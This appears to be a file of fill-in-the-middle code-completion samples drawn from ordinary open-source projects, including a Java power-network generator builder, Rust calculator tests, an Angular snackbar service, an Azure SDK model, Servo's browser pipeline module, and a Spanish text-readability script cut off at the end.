= targetQ; return this; } @Override public GeneratorAdderImpl setTargetV(double targetV) { this.targetV = targetV; return this; } @Override public GeneratorAdder setRatedS(double ratedS) { this.ratedS = ratedS; return this; } @Override public GeneratorImpl add() { NetworkImpl network = getNetwork(); if (network.getMinValidationLevel() == ValidationLevel.EQUIPMENT && voltageRegulatorOn == null) { voltageRegulatorOn = false; } String id = checkAndGetUniqueId(); TerminalExt terminal = checkAndGetTerminal(); ValidationUtil.checkMinP(this, minP); ValidationUtil.checkMaxP(this, maxP); ValidationUtil.checkActivePowerLimits(this, minP, maxP); ValidationUtil.checkRegulatingTerminal(this, regulatingTerminal, network); network.setValidationLevelIfGreaterThan(ValidationUtil.checkActivePowerSetpoint(this, targetP, network.getMinValidationLevel())); network.setValidationLevelIfGreaterThan(ValidationUtil.checkVoltageControl(this, voltageRegulatorOn, targetV, targetQ, network.getMinValidationLevel())); ValidationUtil.checkActivePowerLimits(this, minP, maxP); ValidationUtil.checkRatedS(this, ratedS); GeneratorImpl generator = new GeneratorImpl(network.getRef(), id, getName(), isFictitious(), energySource, minP, maxP, voltageRegulatorOn, regulatingTerminal != null ? regulatingTerminal : terminal, targetP, targetQ, targetV, ratedS); generator.addTerminal(terminal); voltageLevel.attach(terminal, false); network.getIndex().checkAndAdd(generator); network.getListeners().notifyCreation(generator); return generator; } }<|fim▁end|>
<|file_name|>negative_numbers.rs<|end_file_name|><|fim▁begin|>/* * Tests for negative numbers. */ extern crate rustyard; #[test] fn can_add_two_negative_numbers() { let mut yard = rustyard::ShuntingYard::new(); assert_eq!(-4f64, yard.calculate("-2 + -2").unwrap()); assert_eq!("-2 + -2 ", yard.to_string_ast()); assert_eq!("-2 -2 + ", yard.to_string()); } #[test] fn can_subtract_two_negative_numbers() { let mut yard = rustyard::ShuntingYard::new(); assert_eq!(0f64, yard.calculate("-2 - -2").unwrap()); assert_eq!("-2 - -2 ", yard.to_string_ast()); assert_eq!("-2 -2 - ", yard.to_string()); } #[test] fn can_multiply_two_negative_numbers() { let mut yard = rustyard::ShuntingYard::new(); assert_eq!(4f64, yard.calculate("-2 * -2").unwrap()); assert_eq!("-2 * -2 ", yard.to_string_ast()); assert_eq!("-2 -2 * ", yard.to_string()); } <|fim▁hole|>fn can_divide_two_negative_numbers() { let mut yard = rustyard::ShuntingYard::new(); assert_eq!(10f64, yard.calculate("-20 / -2").unwrap()); assert_eq!("-20 / -2 ", yard.to_string_ast()); assert_eq!("-20 -2 / ", yard.to_string()); }<|fim▁end|>
#[test]
<|file_name|>sharedvalue.py<|end_file_name|><|fim▁begin|># -------------------------------------------------------- # Theano @ Dragon # Copyright(c) 2017 SeetaTech # Written by Ting Pan # --------------------------------------------------------<|fim▁hole|>from dragon.core.tensor import Tensor, GetTensorName def shared(value, name=None, **kwargs): """Construct a Tensor initialized with ``value``. Parameters ---------- value : basic type, list or numpy.ndarray The numerical values. name : str The name of tensor. Returns ------- Tensor The initialized tensor. """ if not isinstance(value, (int, float, list, np.ndarray)): raise TypeError("Unsupported type of value: {}".format(type(value))) if name is None: name = GetTensorName() tensor = Tensor(name).Variable() ws.FeedTensor(tensor, value) return tensor<|fim▁end|>
import numpy as np import dragon.core.workspace as ws
<|file_name|>translatable-snack-bar.service.ts<|end_file_name|><|fim▁begin|>import {Injectable} from '@angular/core'; import {SnackBarService} from './snack-bar.service';<|fim▁hole|> @Injectable({ providedIn: 'root' }) export class TranslatableSnackBarService { /** * @param snackBarService * @param translateService */ constructor(private snackBarService: SnackBarService, private translateService: TranslateService) { this.translateService.onLangChange.subscribe((event: LangChangeEvent) => { this.translateService.get('snackbarMessages.dismiss').subscribe((res: string) => { this.snackBarService.setDefaultAction(res); }); }); } /** * Emit snackbar with given duration * @param {string} key * @param {Object} interpolateParams * @param {number} duration */ open(key: string, interpolateParams: Object = {}, duration: number = SnackBarService.defaultDuration): void { this.translateService.get(key, interpolateParams).subscribe((message: string) => { this.snackBarService.open(message, duration); }); } /** * Emit snackbar with duration short * @param {string} key * @param {Object} interpolateParams */ openShort(key: string, interpolateParams: Object = {}): void { this.open(key, interpolateParams, SnackBarService.durationShort); } /** * Emit snackbar with duration long * @param {string} key * @param {Object} interpolateParams */ openLong(key: string, interpolateParams: Object = {}): void { this.open(key, interpolateParams, SnackBarService.durationLong); } }<|fim▁end|>
import {LangChangeEvent, TranslateService} from '@ngx-translate/core';
<|file_name|>application_gateway_ssl_predefined_policy.py<|end_file_name|><|fim▁begin|># coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. #<|fim▁hole|># Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from .sub_resource import SubResource class ApplicationGatewaySslPredefinedPolicy(SubResource): """An Ssl predefined policy. :param id: Resource ID. :type id: str :param name: Name of Ssl predefined policy. :type name: str :param cipher_suites: Ssl cipher suites to be enabled in the specified order for application gateway. :type cipher_suites: list[str or ~azure.mgmt.network.v2017_10_01.models.ApplicationGatewaySslCipherSuite] :param min_protocol_version: Minimum version of Ssl protocol to be supported on application gateway. Possible values include: 'TLSv1_0', 'TLSv1_1', 'TLSv1_2' :type min_protocol_version: str or ~azure.mgmt.network.v2017_10_01.models.ApplicationGatewaySslProtocol """ _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'cipher_suites': {'key': 'properties.cipherSuites', 'type': '[str]'}, 'min_protocol_version': {'key': 'properties.minProtocolVersion', 'type': 'str'}, } def __init__(self, **kwargs): super(ApplicationGatewaySslPredefinedPolicy, self).__init__(**kwargs) self.name = kwargs.get('name', None) self.cipher_suites = kwargs.get('cipher_suites', None) self.min_protocol_version = kwargs.get('min_protocol_version', None)<|fim▁end|>
<|file_name|>pipeline.rs<|end_file_name|><|fim▁begin|>/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at https://mozilla.org/MPL/2.0/. */ use crate::event_loop::EventLoop; use background_hang_monitor::HangMonitorRegister; use bluetooth_traits::BluetoothRequest; use canvas_traits::webgl::WebGLPipeline; use compositing::compositor_thread::Msg as CompositorMsg; use compositing::CompositionPipeline; use compositing::CompositorProxy; use crossbeam_channel::{unbounded, Sender}; use devtools_traits::{DevtoolsControlMsg, ScriptToDevtoolsControlMsg}; use embedder_traits::EventLoopWaker; use gfx::font_cache_thread::FontCacheThread; use ipc_channel::ipc::{self, IpcReceiver, IpcSender}; use ipc_channel::router::ROUTER; use ipc_channel::Error; use layout_traits::LayoutThreadFactory; use media::WindowGLContext; use metrics::PaintTimeMetrics; use msg::constellation_msg::TopLevelBrowsingContextId; use msg::constellation_msg::{BackgroundHangMonitorRegister, HangMonitorAlert, SamplerControlMsg}; use msg::constellation_msg::{BrowsingContextId, HistoryStateId}; use msg::constellation_msg::{ PipelineId, PipelineNamespace, PipelineNamespaceId, PipelineNamespaceRequest, }; use net::image_cache::ImageCacheImpl; use net_traits::image_cache::ImageCache; use net_traits::{IpcSend, ResourceThreads}; use profile_traits::mem as profile_mem; use profile_traits::time; use script_traits::{ AnimationState, ConstellationControlMsg, DiscardBrowsingContext, ScriptToConstellationChan, }; use script_traits::{DocumentActivity, InitialScriptState}; use script_traits::{LayoutControlMsg, LayoutMsg, LoadData}; use script_traits::{NewLayoutInfo, SWManagerMsg, SWManagerSenders}; use script_traits::{ScriptThreadFactory, TimerSchedulerMsg, WindowSizeData}; use servo_config::opts::{self, Opts}; use servo_config::{prefs, prefs::PrefValue}; use servo_url::ServoUrl; use std::collections::{HashMap, HashSet}; #[cfg(not(windows))] use std::env; use std::ffi::OsStr; use std::process; use std::rc::Rc; use std::sync::atomic::AtomicBool; use std::sync::Arc; use webvr_traits::WebVRMsg; /// A `Pipeline` is the constellation's view of a `Document`. Each pipeline has an /// event loop (executed by a script thread) and a layout thread. A script thread /// may be responsible for many pipelines, but a layout thread is only responsible /// for one. pub struct Pipeline { /// The ID of the pipeline. pub id: PipelineId, /// The ID of the browsing context that contains this Pipeline. pub browsing_context_id: BrowsingContextId, /// The ID of the top-level browsing context that contains this Pipeline. pub top_level_browsing_context_id: TopLevelBrowsingContextId, pub opener: Option<BrowsingContextId>,<|fim▁hole|> /// The event loop handling this pipeline. pub event_loop: Rc<EventLoop>, /// A channel to layout, for performing reflows and shutdown. pub layout_chan: IpcSender<LayoutControlMsg>, /// A channel to the compositor. pub compositor_proxy: CompositorProxy, /// The most recently loaded URL in this pipeline. /// Note that this URL can change, for example if the page navigates /// to a hash URL. pub url: ServoUrl, /// Whether this pipeline is currently running animations. Pipelines that are running /// animations cause composites to be continually scheduled. pub animation_state: AnimationState, /// The child browsing contexts of this pipeline (these are iframes in the document). pub children: Vec<BrowsingContextId>, /// The Load Data used to create this pipeline. pub load_data: LoadData, /// The active history state for this pipeline. pub history_state_id: Option<HistoryStateId>, /// The history states owned by this pipeline. pub history_states: HashSet<HistoryStateId>, /// Has this pipeline received a notification that it is completely loaded? pub completely_loaded: bool, } /// Initial setup data needed to construct a pipeline. /// /// *DO NOT* add any Senders to this unless you absolutely know what you're doing, or pcwalton will /// have to rewrite your code. Use IPC senders instead. pub struct InitialPipelineState { /// The ID of the pipeline to create. pub id: PipelineId, /// The ID of the browsing context that contains this Pipeline. pub browsing_context_id: BrowsingContextId, /// The ID of the top-level browsing context that contains this Pipeline. pub top_level_browsing_context_id: TopLevelBrowsingContextId, /// The ID of the parent pipeline and frame type, if any. /// If `None`, this is the root. pub parent_pipeline_id: Option<PipelineId>, pub opener: Option<BrowsingContextId>, /// A channel to the associated constellation. pub script_to_constellation_chan: ScriptToConstellationChan, /// A sender to request pipeline namespace ids. pub namespace_request_sender: IpcSender<PipelineNamespaceRequest>, /// A handle to register components for hang monitoring. /// None when in multiprocess mode. pub background_monitor_register: Option<Box<dyn BackgroundHangMonitorRegister>>, /// A channel for the background hang monitor to send messages to the constellation. pub background_hang_monitor_to_constellation_chan: IpcSender<HangMonitorAlert>, /// A channel for the layout thread to send messages to the constellation. pub layout_to_constellation_chan: IpcSender<LayoutMsg>, /// A channel to schedule timer events. pub scheduler_chan: IpcSender<TimerSchedulerMsg>, /// A channel to the compositor. pub compositor_proxy: CompositorProxy, /// A channel to the developer tools, if applicable. pub devtools_chan: Option<Sender<DevtoolsControlMsg>>, /// A channel to the bluetooth thread. pub bluetooth_thread: IpcSender<BluetoothRequest>, /// A channel to the service worker manager thread pub swmanager_thread: IpcSender<SWManagerMsg>, /// A channel to the font cache thread. pub font_cache_thread: FontCacheThread, /// Channels to the resource-related threads. pub resource_threads: ResourceThreads, /// A channel to the time profiler thread. pub time_profiler_chan: time::ProfilerChan, /// A channel to the memory profiler thread. pub mem_profiler_chan: profile_mem::ProfilerChan, /// Information about the initial window size. pub window_size: WindowSizeData, /// The ID of the pipeline namespace for this script thread. pub pipeline_namespace_id: PipelineNamespaceId, /// The event loop to run in, if applicable. pub event_loop: Option<Rc<EventLoop>>, /// Information about the page to load. pub load_data: LoadData, /// Whether the browsing context in which pipeline is embedded is visible /// for the purposes of scheduling and resource management. This field is /// only used to notify script and compositor threads after spawning /// a pipeline. pub prev_visibility: bool, /// Webrender api. pub webrender_image_api_sender: net_traits::WebrenderIpcSender, /// Webrender api. pub webrender_api_sender: script_traits::WebrenderIpcSender, /// The ID of the document processed by this script thread. pub webrender_document: webrender_api::DocumentId, /// A channel to the WebGL thread. pub webgl_chan: Option<WebGLPipeline>, /// A channel to the webvr thread. pub webvr_chan: Option<IpcSender<WebVRMsg>>, /// The XR device registry pub webxr_registry: webxr_api::Registry, /// Application window's GL Context for Media player pub player_context: WindowGLContext, /// Mechanism to force the compositor to process events. pub event_loop_waker: Option<Box<dyn EventLoopWaker>>, } pub struct NewPipeline { pub pipeline: Pipeline, pub sampler_control_chan: Option<IpcSender<SamplerControlMsg>>, } impl Pipeline { /// Starts a layout thread, and possibly a script thread, in /// a new process if requested. pub fn spawn<Message, LTF, STF>(state: InitialPipelineState) -> Result<NewPipeline, Error> where LTF: LayoutThreadFactory<Message = Message>, STF: ScriptThreadFactory<Message = Message>, { // Note: we allow channel creation to panic, since recovering from this // probably requires a general low-memory strategy. let (pipeline_chan, pipeline_port) = ipc::channel().expect("Pipeline main chan"); let (script_chan, sampler_chan) = match state.event_loop { Some(script_chan) => { let new_layout_info = NewLayoutInfo { parent_info: state.parent_pipeline_id, new_pipeline_id: state.id, browsing_context_id: state.browsing_context_id, top_level_browsing_context_id: state.top_level_browsing_context_id, opener: state.opener, load_data: state.load_data.clone(), window_size: state.window_size, pipeline_port: pipeline_port, }; if let Err(e) = script_chan.send(ConstellationControlMsg::AttachLayout(new_layout_info)) { warn!("Sending to script during pipeline creation failed ({})", e); } (script_chan, None) }, None => { let (script_chan, script_port) = ipc::channel().expect("Pipeline script chan"); // Route messages coming from content to devtools as appropriate. let script_to_devtools_chan = state.devtools_chan.as_ref().map(|devtools_chan| { let (script_to_devtools_chan, script_to_devtools_port) = ipc::channel().expect("Pipeline script to devtools chan"); let devtools_chan = (*devtools_chan).clone(); ROUTER.add_route( script_to_devtools_port.to_opaque(), Box::new( move |message| match message.to::<ScriptToDevtoolsControlMsg>() { Err(e) => { error!("Cast to ScriptToDevtoolsControlMsg failed ({}).", e) }, Ok(message) => { if let Err(e) = devtools_chan.send(DevtoolsControlMsg::FromScript(message)) { warn!("Sending to devtools failed ({:?})", e) } }, }, ), ); script_to_devtools_chan }); let mut unprivileged_pipeline_content = UnprivilegedPipelineContent { id: state.id, browsing_context_id: state.browsing_context_id, top_level_browsing_context_id: state.top_level_browsing_context_id, parent_pipeline_id: state.parent_pipeline_id, opener: state.opener, script_to_constellation_chan: state.script_to_constellation_chan.clone(), namespace_request_sender: state.namespace_request_sender, background_hang_monitor_to_constellation_chan: state .background_hang_monitor_to_constellation_chan .clone(), sampling_profiler_port: None, scheduler_chan: state.scheduler_chan, devtools_chan: script_to_devtools_chan, bluetooth_thread: state.bluetooth_thread, swmanager_thread: state.swmanager_thread, font_cache_thread: state.font_cache_thread, resource_threads: state.resource_threads, time_profiler_chan: state.time_profiler_chan, mem_profiler_chan: state.mem_profiler_chan, window_size: state.window_size, layout_to_constellation_chan: state.layout_to_constellation_chan, script_chan: script_chan.clone(), load_data: state.load_data.clone(), script_port: script_port, opts: (*opts::get()).clone(), prefs: prefs::pref_map().iter().collect(), pipeline_port: pipeline_port, pipeline_namespace_id: state.pipeline_namespace_id, webrender_api_sender: state.webrender_api_sender, webrender_image_api_sender: state.webrender_image_api_sender, webrender_document: state.webrender_document, webgl_chan: state.webgl_chan, webvr_chan: state.webvr_chan, webxr_registry: state.webxr_registry, player_context: state.player_context, }; // Spawn the child process. // // Yes, that's all there is to it! let sampler_chan = if opts::multiprocess() { let (sampler_chan, sampler_port) = ipc::channel().expect("Sampler chan"); unprivileged_pipeline_content.sampling_profiler_port = Some(sampler_port); let _ = unprivileged_pipeline_content.spawn_multiprocess()?; Some(sampler_chan) } else { // Should not be None in single-process mode. let register = state .background_monitor_register .expect("Couldn't start content, no background monitor has been initiated"); unprivileged_pipeline_content.start_all::<Message, LTF, STF>( false, register, state.event_loop_waker, ); None }; (EventLoop::new(script_chan), sampler_chan) }, }; let pipeline = Pipeline::new( state.id, state.browsing_context_id, state.top_level_browsing_context_id, state.opener, script_chan, pipeline_chan, state.compositor_proxy, state.prev_visibility, state.load_data, ); Ok(NewPipeline { pipeline, sampler_control_chan: sampler_chan, }) } /// Creates a new `Pipeline`, after the script and layout threads have been /// spawned. pub fn new( id: PipelineId, browsing_context_id: BrowsingContextId, top_level_browsing_context_id: TopLevelBrowsingContextId, opener: Option<BrowsingContextId>, event_loop: Rc<EventLoop>, layout_chan: IpcSender<LayoutControlMsg>, compositor_proxy: CompositorProxy, is_visible: bool, load_data: LoadData, ) -> Pipeline { let pipeline = Pipeline { id: id, browsing_context_id: browsing_context_id, top_level_browsing_context_id: top_level_browsing_context_id, opener: opener, event_loop: event_loop, layout_chan: layout_chan, compositor_proxy: compositor_proxy, url: load_data.url.clone(), children: vec![], animation_state: AnimationState::NoAnimationsPresent, load_data: load_data, history_state_id: None, history_states: HashSet::new(), completely_loaded: false, }; pipeline.notify_visibility(is_visible); pipeline } /// A normal exit of the pipeline, which waits for the compositor, /// and delegates layout shutdown to the script thread. pub fn exit(&self, discard_bc: DiscardBrowsingContext) { debug!("pipeline {:?} exiting", self.id); // The compositor wants to know when pipelines shut down too. // It may still have messages to process from these other threads // before they can be safely shut down. // It's OK for the constellation to block on the compositor, // since the compositor never blocks on the constellation. if let Ok((sender, receiver)) = ipc::channel() { self.compositor_proxy .send(CompositorMsg::PipelineExited(self.id, sender)); if let Err(e) = receiver.recv() { warn!("Sending exit message failed ({}).", e); } } // Script thread handles shutting down layout, and layout handles shutting down the painter. // For now, if the script thread has failed, we give up on clean shutdown. let msg = ConstellationControlMsg::ExitPipeline(self.id, discard_bc); if let Err(e) = self.event_loop.send(msg) { warn!("Sending script exit message failed ({}).", e); } } /// A forced exit of the shutdown, which does not wait for the compositor, /// or for the script thread to shut down layout. pub fn force_exit(&self, discard_bc: DiscardBrowsingContext) { let msg = ConstellationControlMsg::ExitPipeline(self.id, discard_bc); if let Err(e) = self.event_loop.send(msg) { warn!("Sending script exit message failed ({}).", e); } if let Err(e) = self.layout_chan.send(LayoutControlMsg::ExitNow) { warn!("Sending layout exit message failed ({}).", e); } } /// Notify this pipeline of its activity. pub fn set_activity(&self, activity: DocumentActivity) { let msg = ConstellationControlMsg::SetDocumentActivity(self.id, activity); if let Err(e) = self.event_loop.send(msg) { warn!("Sending activity message failed ({}).", e); } } /// The compositor's view of a pipeline. pub fn to_sendable(&self) -> CompositionPipeline { CompositionPipeline { id: self.id.clone(), top_level_browsing_context_id: self.top_level_browsing_context_id.clone(), script_chan: self.event_loop.sender(), layout_chan: self.layout_chan.clone(), } } /// Add a new child browsing context. pub fn add_child(&mut self, browsing_context_id: BrowsingContextId) { self.children.push(browsing_context_id); } /// Remove a child browsing context. pub fn remove_child(&mut self, browsing_context_id: BrowsingContextId) { match self .children .iter() .position(|id| *id == browsing_context_id) { None => { return warn!( "Pipeline remove child already removed ({:?}).", browsing_context_id ); }, Some(index) => self.children.remove(index), }; } /// Notify the script thread that this pipeline is visible. pub fn notify_visibility(&self, is_visible: bool) { let script_msg = ConstellationControlMsg::ChangeFrameVisibilityStatus(self.id, is_visible); let compositor_msg = CompositorMsg::PipelineVisibilityChanged(self.id, is_visible); let err = self.event_loop.send(script_msg); if let Err(e) = err { warn!("Sending visibility change failed ({}).", e); } self.compositor_proxy.send(compositor_msg); } } /// Creating a new pipeline may require creating a new event loop. /// This is the data used to initialize the event loop. /// TODO: simplify this, and unify it with `InitialPipelineState` if possible. #[derive(Deserialize, Serialize)] pub struct UnprivilegedPipelineContent { id: PipelineId, top_level_browsing_context_id: TopLevelBrowsingContextId, browsing_context_id: BrowsingContextId, parent_pipeline_id: Option<PipelineId>, opener: Option<BrowsingContextId>, namespace_request_sender: IpcSender<PipelineNamespaceRequest>, script_to_constellation_chan: ScriptToConstellationChan, background_hang_monitor_to_constellation_chan: IpcSender<HangMonitorAlert>, sampling_profiler_port: Option<IpcReceiver<SamplerControlMsg>>, layout_to_constellation_chan: IpcSender<LayoutMsg>, scheduler_chan: IpcSender<TimerSchedulerMsg>, devtools_chan: Option<IpcSender<ScriptToDevtoolsControlMsg>>, bluetooth_thread: IpcSender<BluetoothRequest>, swmanager_thread: IpcSender<SWManagerMsg>, font_cache_thread: FontCacheThread, resource_threads: ResourceThreads, time_profiler_chan: time::ProfilerChan, mem_profiler_chan: profile_mem::ProfilerChan, window_size: WindowSizeData, script_chan: IpcSender<ConstellationControlMsg>, load_data: LoadData, script_port: IpcReceiver<ConstellationControlMsg>, opts: Opts, prefs: HashMap<String, PrefValue>, pipeline_port: IpcReceiver<LayoutControlMsg>, pipeline_namespace_id: PipelineNamespaceId, webrender_api_sender: script_traits::WebrenderIpcSender, webrender_image_api_sender: net_traits::WebrenderIpcSender, webrender_document: webrender_api::DocumentId, webgl_chan: Option<WebGLPipeline>, webvr_chan: Option<IpcSender<WebVRMsg>>, webxr_registry: webxr_api::Registry, player_context: WindowGLContext, } impl UnprivilegedPipelineContent { pub fn start_all<Message, LTF, STF>( self, wait_for_completion: bool, background_hang_monitor_register: Box<dyn BackgroundHangMonitorRegister>, event_loop_waker: Option<Box<dyn EventLoopWaker>>, ) where LTF: LayoutThreadFactory<Message = Message>, STF: ScriptThreadFactory<Message = Message>, { // Setup pipeline-namespace-installing for all threads in this process. // Idempotent in single-process mode. PipelineNamespace::set_installer_sender(self.namespace_request_sender); let image_cache = Arc::new(ImageCacheImpl::new(self.webrender_image_api_sender.clone())); let paint_time_metrics = PaintTimeMetrics::new( self.id, self.time_profiler_chan.clone(), self.layout_to_constellation_chan.clone(), self.script_chan.clone(), self.load_data.url.clone(), ); let (content_process_shutdown_chan, content_process_shutdown_port) = unbounded(); let layout_thread_busy_flag = Arc::new(AtomicBool::new(false)); let layout_pair = STF::create( InitialScriptState { id: self.id, browsing_context_id: self.browsing_context_id, top_level_browsing_context_id: self.top_level_browsing_context_id, parent_info: self.parent_pipeline_id, opener: self.opener, control_chan: self.script_chan.clone(), control_port: self.script_port, script_to_constellation_chan: self.script_to_constellation_chan.clone(), background_hang_monitor_register: background_hang_monitor_register.clone(), layout_to_constellation_chan: self.layout_to_constellation_chan.clone(), scheduler_chan: self.scheduler_chan, bluetooth_thread: self.bluetooth_thread, resource_threads: self.resource_threads, image_cache: image_cache.clone(), time_profiler_chan: self.time_profiler_chan.clone(), mem_profiler_chan: self.mem_profiler_chan.clone(), devtools_chan: self.devtools_chan, window_size: self.window_size, pipeline_namespace_id: self.pipeline_namespace_id, content_process_shutdown_chan: content_process_shutdown_chan, webgl_chan: self.webgl_chan, webvr_chan: self.webvr_chan, webxr_registry: self.webxr_registry, webrender_document: self.webrender_document, webrender_api_sender: self.webrender_api_sender.clone(), layout_is_busy: layout_thread_busy_flag.clone(), player_context: self.player_context.clone(), event_loop_waker, }, self.load_data.clone(), self.opts.profile_script_events, self.opts.print_pwm, self.opts.relayout_event, self.opts.output_file.is_some() || self.opts.exit_after_load || self.opts.webdriver_port.is_some(), self.opts.unminify_js, self.opts.userscripts, self.opts.headless, self.opts.replace_surrogates, self.opts.user_agent, ); LTF::create( self.id, self.top_level_browsing_context_id, self.load_data.url, self.parent_pipeline_id.is_some(), layout_pair, self.pipeline_port, background_hang_monitor_register, self.layout_to_constellation_chan, self.script_chan, image_cache, self.font_cache_thread, self.time_profiler_chan, self.mem_profiler_chan, self.webrender_api_sender, self.webrender_document, paint_time_metrics, layout_thread_busy_flag.clone(), self.opts.load_webfonts_synchronously, self.window_size, self.opts.dump_display_list, self.opts.dump_display_list_json, self.opts.dump_style_tree, self.opts.dump_rule_tree, self.opts.relayout_event, self.opts.nonincremental_layout, self.opts.trace_layout, self.opts.dump_flow_tree, ); if wait_for_completion { match content_process_shutdown_port.recv() { Ok(()) => {}, Err(_) => error!("Script-thread shut-down unexpectedly"), } } } #[cfg(any( target_os = "android", target_arch = "arm", all(target_arch = "aarch64", not(target_os = "windows")) ))] pub fn spawn_multiprocess(self) -> Result<(), Error> { use ipc_channel::ipc::IpcOneShotServer; // Note that this function can panic, due to process creation, // avoiding this panic would require a mechanism for dealing // with low-resource scenarios. let (server, token) = IpcOneShotServer::<IpcSender<UnprivilegedPipelineContent>>::new() .expect("Failed to create IPC one-shot server."); let path_to_self = env::current_exe().expect("Failed to get current executor."); let mut child_process = process::Command::new(path_to_self); self.setup_common(&mut child_process, token); let _ = child_process .spawn() .expect("Failed to start unsandboxed child process!"); let (_receiver, sender) = server.accept().expect("Server failed to accept."); sender.send(self)?; Ok(()) } #[cfg(all( not(target_os = "windows"), not(target_os = "ios"), not(target_os = "android"), not(target_arch = "arm"), not(target_arch = "aarch64") ))] pub fn spawn_multiprocess(self) -> Result<(), Error> { use crate::sandboxing::content_process_sandbox_profile; use gaol::sandbox::{self, Sandbox, SandboxMethods}; use ipc_channel::ipc::IpcOneShotServer; impl CommandMethods for sandbox::Command { fn arg<T>(&mut self, arg: T) where T: AsRef<OsStr>, { self.arg(arg); } fn env<T, U>(&mut self, key: T, val: U) where T: AsRef<OsStr>, U: AsRef<OsStr>, { self.env(key, val); } } // Note that this function can panic, due to process creation, // avoiding this panic would require a mechanism for dealing // with low-resource scenarios. let (server, token) = IpcOneShotServer::<IpcSender<UnprivilegedPipelineContent>>::new() .expect("Failed to create IPC one-shot server."); // If there is a sandbox, use the `gaol` API to create the child process. if self.opts.sandbox { let mut command = sandbox::Command::me().expect("Failed to get current sandbox."); self.setup_common(&mut command, token); let profile = content_process_sandbox_profile(); let _ = Sandbox::new(profile) .start(&mut command) .expect("Failed to start sandboxed child process!"); } else { let path_to_self = env::current_exe().expect("Failed to get current executor."); let mut child_process = process::Command::new(path_to_self); self.setup_common(&mut child_process, token); let _ = child_process .spawn() .expect("Failed to start unsandboxed child process!"); } let (_receiver, sender) = server.accept().expect("Server failed to accept."); sender.send(self)?; Ok(()) } #[cfg(any(target_os = "windows", target_os = "ios"))] pub fn spawn_multiprocess(self) -> Result<(), Error> { error!("Multiprocess is not supported on Windows or iOS."); process::exit(1); } #[cfg(not(windows))] fn setup_common<C: CommandMethods>(&self, command: &mut C, token: String) { C::arg(command, "--content-process"); C::arg(command, token); if let Ok(value) = env::var("RUST_BACKTRACE") { C::env(command, "RUST_BACKTRACE", value); } if let Ok(value) = env::var("RUST_LOG") { C::env(command, "RUST_LOG", value); } } pub fn register_with_background_hang_monitor( &mut self, ) -> Box<dyn BackgroundHangMonitorRegister> { HangMonitorRegister::init( self.background_hang_monitor_to_constellation_chan.clone(), self.sampling_profiler_port .take() .expect("no sampling profiler?"), ) } pub fn script_to_constellation_chan(&self) -> &ScriptToConstellationChan { &self.script_to_constellation_chan } pub fn opts(&self) -> Opts { self.opts.clone() } pub fn prefs(&self) -> HashMap<String, PrefValue> { self.prefs.clone() } pub fn swmanager_senders(&self) -> SWManagerSenders { SWManagerSenders { swmanager_sender: self.swmanager_thread.clone(), resource_sender: self.resource_threads.sender(), } } } /// A trait to unify commands launched as multiprocess with or without a sandbox. trait CommandMethods { /// A command line argument. fn arg<T>(&mut self, arg: T) where T: AsRef<OsStr>; /// An environment variable. fn env<T, U>(&mut self, key: T, val: U) where T: AsRef<OsStr>, U: AsRef<OsStr>; } impl CommandMethods for process::Command { fn arg<T>(&mut self, arg: T) where T: AsRef<OsStr>, { self.arg(arg); } fn env<T, U>(&mut self, key: T, val: U) where T: AsRef<OsStr>, U: AsRef<OsStr>, { self.env(key, val); } }<|fim▁end|>
<|file_name|>legibilidad.py<|end_file_name|><|fim▁begin|># Legibilidad 2 (beta) # Averigua la legibilidad de un texto # Spanish readability calculations # © 2016 Alejandro Muñoz Fernández #This program is free software: you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or #any later version. #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. <|fim▁hole|>#along with this program. If not, see <http://www.gnu.org/licenses/>. import re import statistics def count_letters(text): ''' Text letter count ''' count = 0 for char in text: if char.isalpha(): count += 1 if count == 0: return 1 else: return count def letter_dict(text): ''' letter count dictionary ''' text = text.lower() replacements = {'á': 'a','é': 'e','í': 'i','ó': 'o','ú': 'u','ü': 'u'} for i, j in replacements.items(): text = text.replace(i, j) letterlist = list(filter(None,map(lambda c: c if c.isalpha() else '', text))) letterdict = dict() for letter in letterlist: letterdict[letter] = letterdict.get(letter,0) + 1 return letterdict def count_words(text): ''' Text word count ''' text = ''.join(filter(lambda x: not x.isdigit(), text)) clean = re.compile('\W+') text = clean.sub(' ', text).strip() # Prevents zero division if len(text.split()) == 0: return 1 else: return len(text.split()) def textdict(wordlist): ''' Dictionary of word counts ''' wordlist = ''.join(filter(lambda x: not x.isdigit(), wordlist)) clean = re.compile('\W+') wordlist = clean.sub(' ', wordlist).strip() wordlist = wordlist.split() # Word count dictionary worddict = dict() for word in wordlist: worddict[word.lower()] = worddict.get(word,0) + 1 return worddict def count_sentences(text): ''' Sentence count ''' text = text.replace("\n","") sentence_end = re.compile('[.:;!?\)\()]') sencences=sentence_end.split(text) sencences = list(filter(None, sencences)) if len(sencences) == 0: return 1 else: return len(sencences) def count_paragraphs(text): ''' Paragraph count ''' text = re.sub('<[^>]*>', '', text) text = list(filter(None, text.split('\n'))) if len(text) == 0: return 1 else: return len(text) def numbers2words(text): ''' Comverts figures into words (e.g. 2 to two) ''' import nal new_text = [] for word in text.split(): formato_numerico = re.compile("^[\-]?[1-9][0-9]*\.?[0-9]+$") if re.match(formato_numerico,word): if type(word) == "int": word = int(word) else: word = float(word) word = nal.to_word(word) new_text.append(word.lower()) text = ' '.join(new_text) return text def count_syllables(word): ''' Word syllable count ''' import separasilabas word = re.sub(r'\W+', '', word) syllables = separasilabas.silabizer() return len(syllables(word)) def count_all_syllables(text): ''' The whole text syllable count ''' text = ''.join(filter(lambda x: not x.isdigit(), text)) clean = re.compile('\W+') text = clean.sub(' ', text).strip() text = text.split() text = filter(None, text) total = 0 for word in text: total += count_syllables(word) if total == 0: return 1 else: return total def Pval(text): ''' Syllables-per-word mean (P value) ''' syllables = count_all_syllables(numbers2words(text)) words = count_words(numbers2words(text)) return round(syllables / words,2) def Fval(text): ''' Words-per-sentence mean (F value) ''' sencences = count_sentences(text) words = count_words(numbers2words(text)) return round(words / sencences,2) def 